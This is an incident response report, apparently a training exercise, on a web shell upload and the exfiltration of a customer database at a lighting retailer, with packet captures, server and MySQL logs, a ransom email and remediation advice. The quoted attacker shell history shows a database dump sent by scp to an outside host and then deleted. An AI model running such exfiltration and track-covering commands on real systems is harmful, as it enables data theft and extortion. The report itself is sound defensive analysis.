Incident Response Report

Premium House Lights Inc.

Cyber Security Analyst: Joseph Doba

June 18th 2024

Table of Contents

Executive Summary

This report outlines a Cyber Security Incident that occurred on Premium House Lights Inc. The Threat Actor sent In this report we will look at the timeline, the actual technical analysis, what the incident response was, and recommended remediations to prevent and mitigate future attacks of a similar nature from occurring. Let's begin.

Incident Timeline

Below is a timeline of the events in summary form with what happened.

Time (UTC)	Action	Details
2:58:12 am	Port scan conducted by the suspicious IP `138.68.92.163`	Discovered port 80 was accessible
2:58:22 am	Web Crawler Directory scan occurs on port 80	Discovered a directory used for uploading files.
2:59:04 am	Malicious file '`shell.php`' is injected into the web server via port 80.	Threat Actor gained remote command execution capabilities on the web server.
3:00:55 am	Threat Actor accessed the MySQL database using root credentials with a Socket	
3:01:46 am	Threat Actor executed MySQL commands remotely via '`shell.php`'	Threat Actor created a backup of database until a temporary database called '`phl`'
3:01:55 am	Data exfiltrated by dumping the '`phl`' database into a new file called '`phl.db`'	File '`phl.db`' sent to the attacker's IP address and then removed to avoid detection.
3:05:00 am	Extortion email received from '4c484c@qq.com' to 'support@premiumhouselights.com'	Threatened to release data publicly if a ransom is not paid in BTC.

Technical Analysis

We first check our data to ensure that their email actually matches information that is in our systems. Following the extortion email received in the customer service inbox:

```
From: 4C484C@qq.com
To: support@premiumhouselights.com

Hello,

We will go right to the point. We are in possession of your database files, which
include sensitive information about your customers.

You wouldn't want this information to be out on the internet, would you? We will
release this information on https://pastebin.com if you don't deposit 10 BTC to the
following wallet ID:

               1JQqFLmAp5DQJbdD3ThgEiJGSmX8eaaBid

by Monday at 10:00AM UTC.

To demonstrate to you that we aren't just playing games, here is a snippet of your
customer database table:

+------------------+-----------------+--------------+
| contactFirstName | contactLastName | phone        |
+------------------+-----------------+--------------+
| Carine           [redacted]
| Jean             [redacted]
| Peter            [redacted]
| Janine           [redacted]
| Jonas            [redacted]
+------------------+-----------------+--------------+

Now the ball is in your court to make the right decision and take action. There will
be no negotiations on the price.

// The 4C484C Group
```

Sadly, they were telling the truth and they have access to the data. As seen in database file, we can see that their extortion email threat matches the first 5 entries in our database:

```
(103,'Atelier graphique','Schmitt','Carine ','40.32.2555','54, rue F
(112,'Signal Gift Stores','King','Jean','7025551838','8489 Strong St
(114,'Australian Collectors, Co.','Ferguson','Peter','03 9520 4555',
(119,'La Rochelle Gifts','Labrune','Janine ','40.67.8555','67, rue d
(121,'Baane Mini Imports','Bergulfsen','Jonas ','07-98 9555','Erling
```

Figure 1.

While analyzing the attack, the time frame suggests it was an automated attack given the short timeframe between actions, suggesting many of these commands were automated.

Next we see they first started with a reconnaissance attack, by scanning all of our ports:

No.	Time	Source	Destination	Protocol	Length	Info
131	2022-02-20 02:58:12.322138	138.68.92.163	134.122.33.221	TCP	56	46086 → 80 [ACK] Seq=1 Ack=1 Win=1024 Len=0
133	2022-02-20 02:58:12.322851	138.68.92.163	134.122.33.221	TCP	60	46086 → 443 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
135	2022-02-20 02:58:12.558369	138.68.92.163	134.122.33.221	TCP	60	46342 → 5900 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
136	2022-02-20 02:58:12.558369	138.68.92.163	134.122.33.221	TCP	60	46342 → 139 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
137	2022-02-20 02:58:12.558369	138.68.92.163	134.122.33.221	TCP	60	46342 → 587 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
138	2022-02-20 02:58:12.558369	138.68.92.163	134.122.33.221	TCP	60	46342 → 3389 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
139	2022-02-20 02:58:12.558369	138.68.92.163	134.122.33.221	TCP	60	46342 → 135 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
140	2022-02-20 02:58:12.558369	138.68.92.163	134.122.33.221	TCP	60	46342 → 995 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
147	2022-02-20 02:58:12.559635	138.68.92.163	134.122.33.221	TCP	60	46342 → 113 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
149	2022-02-20 02:58:12.559663	138.68.92.163	134.122.33.221	TCP	60	46342 → 22 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
151	2022-02-20 02:58:12.559847	138.68.92.163	134.122.33.221	TCP	60	46342 → 111 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
153	2022-02-20 02:58:12.559942	138.68.92.163	134.122.33.221	TCP	60	46342 → 23 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
155	2022-02-20 02:58:12.655855	138.68.92.163	134.122.33.221	TCP	60	46342 → 1723 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
156	2022-02-20 02:58:12.655856	138.68.92.163	134.122.33.221	TCP	60	46342 → 443 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
157	2022-02-20 02:58:12.655856	138.68.92.163	134.122.33.221	TCP	60	46342 → 1720 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
161	2022-02-20 02:58:12.655936	138.68.92.163	134.122.33.221	TCP	60	46342 → 25 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
162	2022-02-20 02:58:12.655936	138.68.92.163	134.122.33.221	TCP	60	46342 → 445 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
163	2022-02-20 02:58:12.655936	138.68.92.163	134.122.33.221	TCP	60	46342 → 1025 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
164	2022-02-20 02:58:12.655936	138.68.92.163	134.122.33.221	TCP	60	46342 → 80 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
165	2022-02-20 02:58:12.655936	138.68.92.163	134.122.33.221	TCP	60	46342 → 554 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
171	2022-02-20 02:58:12.656563	138.68.92.163	134.122.33.221	TCP	60	46342 → 3306 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
172	2022-02-20 02:58:12.656563	138.68.92.163	134.122.33.221	TCP	60	46342 → 5009 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
173	2022-02-20 02:58:12.656563	138.68.92.163	134.122.33.221	TCP	60	46342 → 389 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
174	2022-02-20 02:58:12.656563	138.68.92.163	134.122.33.221	TCP	60	46342 → 199 [SYN] Seq=0 Win=1024 Len=0 MSS=1460

Figure 2a.

Once they discovered that there was an opening on port 80, they conducted a web crawler scan to find any directories they could exploit to inject any files into:

ip.src==138.68.92.163

).	Time	Source	Destination	Protocol	Length	Info
330	2022-02-20 02:58:12.855196	138.68.92.163	134.122.33.221	TCP	60	46342 → 79 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
339	2022-02-20 02:58:22.152068	138.68.92.163	134.122.33.221	TCP	76	54944 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1054345726 TSecr=0 WS=128
341	2022-02-20 02:58:22.249776	138.68.92.163	134.122.33.221	TCP	68	54944 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1054345824 TSecr=4059173820
342	2022-02-20 02:58:22.249777	138.68.92.163	134.122.33.221	HTTP	196	GET /randomfile1 HTTP/1.1
345	2022-02-20 02:58:22.347570	138.68.92.163	134.122.33.221	TCP	68	54944 → 80 [ACK] Seq=129 Ack=438 Win=63872 Len=0 TSval=1054345922 TSecr=4059173918
346	2022-02-20 02:58:22.347570	138.68.92.163	134.122.33.221	HTTP	191	GET /frand2 HTTP/1.1
349	2022-02-20 02:58:22.445211	138.68.92.163	134.122.33.221	TCP	68	54944 → 80 [ACK] Seq=252 Ack=875 Win=63744 Len=0 TSval=1054346019 TSecr=4059174016
350	2022-02-20 02:58:22.445551	138.68.92.163	134.122.33.221	HTTP	190	GET /index HTTP/1.1
353	2022-02-20 02:58:22.543216	138.68.92.163	134.122.33.221	TCP	68	54944 → 80 [ACK] Seq=374 Ack=1312 Win=63744 Len=0 TSval=1054346117 TSecr=4059174114
354	2022-02-20 02:58:22.543329	138.68.92.163	134.122.33.221	HTTP	192	GET /archive HTTP/1.1
357	2022-02-20 02:58:22.641382	138.68.92.163	134.122.33.221	HTTP	187	GET /02 HTTP/1.1
359	2022-02-20 02:58:22.739437	138.68.92.163	134.122.33.221	HTTP	193	GET /register HTTP/1.1
361	2022-02-20 02:58:22.837568	138.68.92.163	134.122.33.221	HTTP	187	GET /en HTTP/1.1
363	2022-02-20 02:58:22.936158	138.68.92.163	134.122.33.221	HTTP	190	GET /forum HTTP/1.1
365	2022-02-20 02:58:23.034850	138.68.92.163	134.122.33.221	HTTP	193	GET /software HTTP/1.1
367	2022-02-20 02:58:23.133386	138.68.92.163	134.122.33.221	HTTP	194	GET /downloads HTTP/1.1
369	2022-02-20 02:58:23.231439	138.68.92.163	134.122.33.221	HTTP	186	GET /3 HTTP/1.1
371	2022-02-20 02:58:23.329506	138.68.92.163	134.122.33.221	HTTP	193	GET /security HTTP/1.1
373	2022-02-20 02:58:23.428052	138.68.92.163	134.122.33.221	HTTP	187	GET /13 HTTP/1.1
375	2022-02-20 02:58:23.526301	138.68.92.163	134.122.33.221	HTTP	193	GET /category HTTP/1.1
377	2022-02-20 02:58:23.624364	138.68.92.163	134.122.33.221	HTTP	186	GET /4 HTTP/1.1
379	2022-02-20 02:58:23.722412	138.68.92.163	134.122.33.221	HTTP	192	GET /content HTTP/1.1
381	2022-02-20 02:58:23.820526	138.68.92.163	134.122.33.221	HTTP	187	GET /14 HTTP/1.1
383	2022-02-20 02:58:23.920030	138.68.92.163	134.122.33.221	HTTP	189	GET /main HTTP/1.1
385	2022-02-20 02:58:24.018142	138.68.92.163	134.122.33.221	HTTP	187	GET /15 HTTP/1.1

Figure 2b.

In this case, they did. Once discovered they submitted a post request of the malicious file onto our web server, which was a 200 success message meaning they were able to successfully inject *'shell.php' onto the web server.*

751	2022-02-20 02:58:55.809683	138.68.92.163	134.122.33.221	TCP	68	54948 → 80 [ACK] Seq=87 Ack=1116 Win=64128 Len=0 TSval=1054379384 TSecr=4059207380
752	2022-02-20 02:58:55.810125	138.68.92.163	134.122.33.221	TCP	68	54948 → 80 [FIN, ACK] Seq=87 Ack=1116 Win=64128 Len=0 TSval=1054379385 TSecr=4059207380
754	2022-02-20 02:58:55.907775	138.68.92.163	134.122.33.221	TCP	68	54948 → 80 [ACK] Seq=88 Ack=1117 Win=64128 Len=0 TSval=1054379482 TSecr=4059207478
786	2022-02-20 02:59:04.073598	138.68.92.163	134.122.33.221	TCP	76	54950 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1054387648 TSecr=0 WS=128
788	2022-02-20 02:59:04.171702	138.68.92.163	134.122.33.221	TCP	68	54950 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1054387746 TSecr=4059215742
789	2022-02-20 02:59:04.171795	138.68.92.163	134.122.33.221	HTTP	589	POST /uploads/shell.php HTTP/1.1 (application/x-www-form-urlencoded)
792	2022-02-20 02:59:04.289759	138.68.92.163	134.122.33.221	TCP	76	4444 → 55866 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1054387864 TSecr=4059215859 WS=128
795	2022-02-20 02:59:04.389586	138.68.92.163	134.122.33.221	TCP	68	4444 → 55866 [ACK] Seq=1 Ack=13 Win=65152 Len=0 TSval=1054387964 TSecr=4059215960
797	2022-02-20 02:59:04.487209	138.68.92.163	134.122.33.221	TCP	68	4444 → 55866 [ACK] Seq=1 Ack=56 Win=65152 Len=0 TSval=1054388062 TSecr=4059216058
802	2022-02-20 02:59:11.302526	138.68.92.163	134.122.33.221	TCP	75	4444 → 55866 [PSH, ACK] Seq=1 Ack=56 Win=65152 Len=7 TSval=1054394877 TSecr=4059216058
805	2022-02-20 02:59:11.403417	138.68.92.163	134.122.33.221	TCP	68	4444 → 55866 [ACK] Seq=8 Ack=65 Win=65152 Len=0 TSval=1054394978 TSecr=4059222974

Figure 2c.

This access.log also confirmed this behaviour of the shell.php injection, with the use of a command line tool called Curl.

```
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /upload.php HTTP/1.1" 200 487 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /flash HTTP/1.1" 404 437 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /48 HTTP/1.1" 404 437 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /portal HTTP/1.1" 404 437 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /design HTTP/1.1" 404 437 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /uploads/randomfile1 HTTP/1.1" 404 437 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /uploads/frand2 HTTP/1.1" 404 437 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:40 -0500] "GET /uploads/ HTTP/1.1" 200 1115 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
138.68.92.163 - - [19/Feb/2022:21:58:55 -0500] "GET /uploads/ HTTP/1.1" 200 1115 "-" "curl/7.68.0"
138.68.92.163 - - [19/Feb/2022:21:59:04 -0500] "POST /uploads/shell.php HTTP/1.1" 200 2655 "-" "curl/7.68.0"
```

Figure 4.

Once the file was onto our website, they established a remote connection using a process called Socket. Which granted them access to execute MySQL commands, as seen in the web server logs:

phl_database_access_log.txt - Notepad

File Edit Format View Help

```
2022-02-20T03:00:55.682704Z          9 Connect   root@localhost on  using Socket
2022-02-20T03:00:55.682973Z          9 Query     select @@version_comment limit 1
2022-02-20T03:00:58.206501Z          9 Query     show databases
2022-02-20T03:01:02.431377Z          9 Query     SELECT DATABASE()
2022-02-20T03:01:02.431609Z          9 Init DB   mysql
2022-02-20T03:01:02.432402Z          9 Query     show databases
2022-02-20T03:01:02.433075Z          9 Query     show tables
```

Figure 3a

Once connected, various MySQL commands were in fact executed. Specifically they were able to create a database file, and copy the contents of our database onto a temporary database they named “phl”

phl_database_access_log.txt - Notepad

File Edit Format View Help

```
2022-02-20T03:01:02.459358Z          9 Field List        user
2022-02-20T03:01:07.373140Z          9 Query     show tables
2022-02-20T03:01:10.167274Z          9 Query     SELECT * FROM user
2022-02-20T03:01:13.274571Z          9 Query     SELECT DATABASE()
2022-02-20T03:01:13.274934Z          9 Init DB   phl
2022-02-20T03:01:13.275849Z          9 Query     show databases
2022-02-20T03:01:13.276443Z          9 Query     show tables
2022-02-20T03:01:13.277190Z          9 Field List        customers
2022-02-20T03:01:15.536553Z          9 Query     show tables
2022-02-20T03:01:21.694024Z          9 Query     SELECT * FROM customers
2022-02-20T03:01:31.159492Z          9 Query     SELECT * FROM customers LIMIT 5
2022-02-20T03:01:34.242985Z          9 Quit
2022-02-20T03:01:46.748188Z         10 Connect   root@localhost on  using Socket
2022-02-20T03:01:46.748326Z         10 Query     /*!40100 SET @@SQL_MODE='' */
2022-02-20T03:01:46.748435Z         10 Query     /*!40103 SET TIME_ZONE='+00:00' */
2022-02-20T03:01:46.748574Z         10 Query     /*!80000 SET SESSION information_schema_stats_expiry=0 */
2022-02-20T03:01:46.748680Z         10 Query     SET SESSION NET_READ_TIMEOUT= 86400, SESSION NET_WRITE_TIMEOUT= 86400
2022-02-20T03:01:46.748820Z         10 Query     SHOW VARIABLES LIKE 'gtid\_mode'
2022-02-20T03:01:46.753077Z         10 Query     SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.
2022-02-20T03:01:46.756231Z         10 Query     SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM IN
2022-02-20T03:01:46.757327Z         10 Query     SHOW VARIABLES LIKE 'ndbinfo\_version'
2022-02-20T03:01:46.763600Z         10 Init DB   phl
2022-02-20T03:01:46.763710Z         10 Query     show tables
2022-02-20T03:01:46.765171Z         10 Query     LOCK TABLES `customers` READ /*!32311 LOCAL */
2022-02-20T03:01:46.769709Z         10 Query     show table status like 'customers'
2022-02-20T03:01:46.772197Z         10 Query     SET SQL_QUOTE_SHOW_CREATE=1
2022-02-20T03:01:46.772305Z         10 Query     SET SESSION character_set_results = 'binary'
2022-02-20T03:01:46.772375Z         10 Query     show create table `customers`
2022-02-20T03:01:46.772772Z         10 Query     SET SESSION character_set_results = 'utf8mb4'
2022-02-20T03:01:46.772883Z         10 Query     show fields from `customers`
2022-02-20T03:01:46.774238Z         10 Query     show fields from `customers`
2022-02-20T03:01:46.775014Z         10 Query     SELECT /*!40001 SQL_NO_CACHE */ * FROM `customers`
2022-02-20T03:01:46.775651Z         10 Query     SET SESSION character_set_results = 'binary'
2022-02-20T03:01:46.775720Z         10 Query     use `phl`
2022-02-20T03:01:46.775799Z         10 Query     select @@collation_database
2022-02-20T03:01:46.775886Z         10 Query     SHOW TRIGGERS LIKE 'customers'
2022-02-20T03:01:46.777051Z         10 Query     SET SESSION character_set_results = 'utf8mb4'
2022-02-20T03:01:46.777108Z         10 Query     SET SESSION character_set_results = 'binary'
2022-02-20T03:01:46.777571Z         10 Query     SELECT COLUMN_NAME,                      JSON_EXTRACT(HISTOGRAM, '$."number-of-buckets-specified"')
2022-02-20T03:01:46.778175Z         10 Query     SET SESSION character_set_results = 'utf8mb4'
```

Figure 3b.

Lastly, once the temporary database file ‘phl’ was created, they were able to execute additional commands to “back up” the data to a temporary file called ‘phl.db’, and exfiltrate that data to their return ip: 178.62.288.28 - They also removed file “phl.db” on the web server to try and cover their tracks.

phl_database_shell.txt - Notepad

File Edit Format View Help

```
19/02/22 22:00:27 netstat -atunp
19/02/22 22:00:48 sudo -l
19/02/22 22:00:55 sudo mysql -u root -p
19/02/22 22:01:45 sudo mysqldump -u root -p phl > phl.db
19/02/22 22:01:49 file phl.db
19/02/22 22:01:59 head -50 phl.db
19/02/22 22:02:17 ls
19/02/22 22:02:26 scp phl.db fierce@178.62.228.28:/tmp/phl.db
19/02/22 22:02:36 rm phl.db
19/02/22 22:02:38 exit
```

Figure 5.

Incident Response Recommendation

Immediate Containment:

To effectively contain an incident like the one at Premium House Lights Inc., the first crucial step should be isolating the affected systems from the network. This action will prevent further spread of the attack and preserve the integrity of forensic evidence. Disconnecting these systems helps limit the attacker’s access and minimizes potential damage.

Next, it is recommended to disable the compromised upload directory immediately. Since this directory was identified as the initial entry point for the attacker, disabling it will stop further unauthorized file uploads and prevent additional malicious activities. A comprehensive review of other directories should be conducted to ensure they are not similarly vulnerable.

All affected passwords and keys should be changed. This includes resetting passwords for compromised accounts, particularly database and admin credentials. Updating API keys, certificates, and other sensitive credentials will ensure that the attacker can no longer exploit previously used access points.

Remediation:

The malicious file, such as shell.php, should be promptly identified and removed from the server. A thorough search of the system is essential to ensure no additional web shells or backdoors are present. This step is crucial to eliminate the attacker's foothold and restore system integrity.

Advanced malware detection tools should be employed to conduct a complete system scan. These tools will help identify any residual malicious code or hidden scripts left by the attacker. Ensuring the system is clean is vital before restoring operations.

Databases should be restored from secure backups. The integrity of these backups must be verified to ensure they are free from tampering or corruption. This step will restore the system to its pre-attack state and ensure data integrity.

Finally, Web Application Firewall (WAF) rules should be implemented to block suspicious activities and common attack patterns. Specifically, rules should be configured to prevent unauthorized file uploads and directory access attempts. Enhanced logging and real-time monitoring should be set up to capture detailed information about access and activities on the server, allowing for immediate detection and response to suspicious activities.

Post-Incident Recommendations

To protect against similar attacks in the future, it is essential to implement robust input validation and file type restrictions on the upload directory. Only specific, necessary file types and sizes should be allowed, and all uploads should be scanned for potential threats. Regular updates and patching of all software, including the web server and database, are crucial. Staying informed about new vulnerabilities through security bulletins and alerts will help maintain an up-to-date defense.

Periodic security assessments and penetration testing should be conducted to identify and address potential vulnerabilities. Engaging third-party security experts can provide an external perspective on the organization's security posture. Enhanced logging and monitoring should be implemented to capture detailed information about system activities. Real-time monitoring with alerting mechanisms for suspicious activities will allow for immediate response to threats.

Potential Security Policy Adjustments

The security policy should be updated to include stricter access controls. Implementing role-based access controls (RBAC) will limit user permissions to only what is necessary, and regular reviews will ensure they align with current security needs. Enforcing regular password changes and implementing multi-factor authentication (MFA) will add additional layers of security.

Employee training and awareness programs are vital for maintaining a strong security culture. Regular training sessions should educate employees on security best practices, raise awareness about social engineering attacks and phishing scams, and encourage prompt reporting of suspicious activities.

The incident response plan should be updated to include lessons learned from the recent attack. Conducting regular incident response drills will ensure readiness and effectiveness. Documenting and reviewing each incident will improve future response strategies.

Enhancing the data backup and recovery plan is also crucial. Regularly testing backup and recovery procedures will ensure they work as expected. Encrypting backups will protect data integrity during storage and transfer, and a robust backup strategy will ensure quick recovery in case of future incidents.

Conclusion

The incident at Premium House Lights Inc. underscores the necessity of robust cybersecurity and proactive incident response. The attacker exploited vulnerabilities in the web server, gaining unauthorized access to sensitive data. Key recommendations include implementing strict input validation and file type restrictions, isolating affected systems, changing compromised credentials, removing malicious files, and conducting thorough system scans. Enhancing security policies with role-based access controls, multi-factor authentication, and regular employee training is essential. Additionally, periodic security assessments, penetration testing, and continuous monitoring will fortify defenses against future attacks. Proactive incident response planning and regular drills will ensure readiness and improve the organization's resilience to cyber threats.

Appendix

```
(103,'Atelier graphique','Schmitt','Carine ','40.32.2555','54, rue F

(112,'Signal Gift Stores','King','Jean','7025551838','8489 Strong St

(114,'Australian Collectors, Co.','Ferguson','Peter','03 9520 4555',

(119,'La Rochelle Gifts','Labrune','Janine ','40.67.8555','67, rue d

(121,'Baane Mini Imports','Bergulfsen','Jonas ','07-98 9555','Erling
```

Figure 1: Screenshot of our database file, thereby validating their threat as real.

No.	Time	Source	Destination	Protocol	Length	Info
131	2022-02-20 02:58:12.322138	138.68.92.163	134.122.33.221	TCP	56	46086 → 80 [ACK] Seq=1 Ack=1 Win=1024 Len=0
133	2022-02-20 02:58:12.322851	138.68.92.163	134.122.33.221	TCP	60	46086 → 443 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
135	2022-02-20 02:58:12.558369	138.68.92.163	134.122.33.221	TCP	60	46342 → 5900 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
136	2022-02-20 02:58:12.558369	138.68.92.163	134.122.33.221	TCP	60	46342 → 139 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
137	2022-02-20 02:58:12.558369	138.68.92.163	134.122.33.221	TCP	60	46342 → 587 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
138	2022-02-20 02:58:12.558369	138.68.92.163	134.122.33.221	TCP	60	46342 → 3389 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
139	2022-02-20 02:58:12.558369	138.68.92.163	134.122.33.221	TCP	60	46342 → 135 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
140	2022-02-20 02:58:12.558369	138.68.92.163	134.122.33.221	TCP	60	46342 → 995 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
147	2022-02-20 02:58:12.559635	138.68.92.163	134.122.33.221	TCP	60	46342 → 113 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
149	2022-02-20 02:58:12.559663	138.68.92.163	134.122.33.221	TCP	60	46342 → 22 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
151	2022-02-20 02:58:12.559847	138.68.92.163	134.122.33.221	TCP	60	46342 → 111 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
153	2022-02-20 02:58:12.559942	138.68.92.163	134.122.33.221	TCP	60	46342 → 23 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
155	2022-02-20 02:58:12.655855	138.68.92.163	134.122.33.221	TCP	60	46342 → 1723 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
156	2022-02-20 02:58:12.655856	138.68.92.163	134.122.33.221	TCP	60	46342 → 443 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
157	2022-02-20 02:58:12.655856	138.68.92.163	134.122.33.221	TCP	60	46342 → 1720 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
161	2022-02-20 02:58:12.655936	138.68.92.163	134.122.33.221	TCP	60	46342 → 25 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
162	2022-02-20 02:58:12.655936	138.68.92.163	134.122.33.221	TCP	60	46342 → 445 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
163	2022-02-20 02:58:12.655936	138.68.92.163	134.122.33.221	TCP	60	46342 → 1025 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
164	2022-02-20 02:58:12.655936	138.68.92.163	134.122.33.221	TCP	60	46342 → 80 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
165	2022-02-20 02:58:12.655936	138.68.92.163	134.122.33.221	TCP	60	46342 → 554 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
171	2022-02-20 02:58:12.656563	138.68.92.163	134.122.33.221	TCP	60	46342 → 3306 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
172	2022-02-20 02:58:12.656563	138.68.92.163	134.122.33.221	TCP	60	46342 → 5009 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
173	2022-02-20 02:58:12.656563	138.68.92.163	134.122.33.221	TCP	60	46342 → 389 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
174	2022-02-20 02:58:12.656563	138.68.92.163	134.122.33.221	TCP	60	46342 → 199 [SYN] Seq=0 Win=1024 Len=0 MSS=1460

Figure 2a: Web Server Scan- Port Scan activity

ip.src==138.68.92.163

No.	Time	Source	Destination	Protocol	Length	Info
330	2022-02-20 02:58:12.855196	138.68.92.163	134.122.33.221	TCP	60	46342 → 79 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
339	2022-02-20 02:58:22.152068	138.68.92.163	134.122.33.221	TCP	76	54944 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1054345726 TSecr=0 WS=128
341	2022-02-20 02:58:22.249776	138.68.92.163	134.122.33.221	TCP	68	54944 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1054345824 TSecr=4059173820
342	2022-02-20 02:58:22.249777	138.68.92.163	134.122.33.221	HTTP	196	GET /randomfile1 HTTP/1.1
345	2022-02-20 02:58:22.347570	138.68.92.163	134.122.33.221	TCP	68	54944 → 80 [ACK] Seq=129 Ack=438 Win=63872 Len=0 TSval=1054345922 TSecr=4059173918
346	2022-02-20 02:58:22.347570	138.68.92.163	134.122.33.221	HTTP	191	GET /frand2 HTTP/1.1
349	2022-02-20 02:58:22.445211	138.68.92.163	134.122.33.221	TCP	68	54944 → 80 [ACK] Seq=252 Ack=875 Win=63744 Len=0 TSval=1054346019 TSecr=4059174016
350	2022-02-20 02:58:22.445551	138.68.92.163	134.122.33.221	HTTP	190	GET /index HTTP/1.1
353	2022-02-20 02:58:22.543216	138.68.92.163	134.122.33.221	TCP	68	54944 → 80 [ACK] Seq=374 Ack=1312 Win=63744 Len=0 TSval=1054346117 TSecr=4059174114
354	2022-02-20 02:58:22.543329	138.68.92.163	134.122.33.221	HTTP	192	GET /archive HTTP/1.1
357	2022-02-20 02:58:22.641382	138.68.92.163	134.122.33.221	HTTP	187	GET /02 HTTP/1.1
359	2022-02-20 02:58:22.739437	138.68.92.163	134.122.33.221	HTTP	193	GET /register HTTP/1.1
361	2022-02-20 02:58:22.837568	138.68.92.163	134.122.33.221	HTTP	187	GET /en HTTP/1.1
363	2022-02-20 02:58:22.936158	138.68.92.163	134.122.33.221	HTTP	190	GET /forum HTTP/1.1
365	2022-02-20 02:58:23.034850	138.68.92.163	134.122.33.221	HTTP	193	GET /software HTTP/1.1
367	2022-02-20 02:58:23.133386	138.68.92.163	134.122.33.221	HTTP	194	GET /downloads HTTP/1.1
369	2022-02-20 02:58:23.231439	138.68.92.163	134.122.33.221	HTTP	186	GET /3 HTTP/1.1
371	2022-02-20 02:58:23.329506	138.68.92.163	134.122.33.221	HTTP	193	GET /security HTTP/1.1
373	2022-02-20 02:58:23.428052	138.68.92.163	134.122.33.221	HTTP	187	GET /13 HTTP/1.1
375	2022-02-20 02:58:23.526301	138.68.92.163	134.122.33.221	HTTP	193	GET /category HTTP/1.1
377	2022-02-20 02:58:23.624364	138.68.92.163	134.122.33.221	HTTP	186	GET /4 HTTP/1.1
379	2022-02-20 02:58:23.722412	138.68.92.163	134.122.33.221	HTTP	192	GET /content HTTP/1.1
381	2022-02-20 02:58:23.820526	138.68.92.163	134.122.33.221	HTTP	187	GET /14 HTTP/1.1
383	2022-02-20 02:58:23.920030	138.68.92.163	134.122.33.221	HTTP	189	GET /main HTTP/1.1
385	2022-02-20 02:58:24.018142	138.68.92.163	134.122.33.221	HTTP	187	GET /15 HTTP/1.1

Figure 2b: Web Server Scan- Web Crawler activity

751	2022-02-20 02:58:55.809683	138.68.92.163	134.122.33.221	TCP	68	54948 → 80 [ACK] Seq=87 Ack=1116 Win=64128 Len=0 TSval=1054379384 TSecr=4059207380
752	2022-02-20 02:58:55.810125	138.68.92.163	134.122.33.221	TCP	68	54948 → 80 [FIN, ACK] Seq=87 Ack=1116 Win=64128 Len=0 TSval=1054379385 TSecr=4059207380
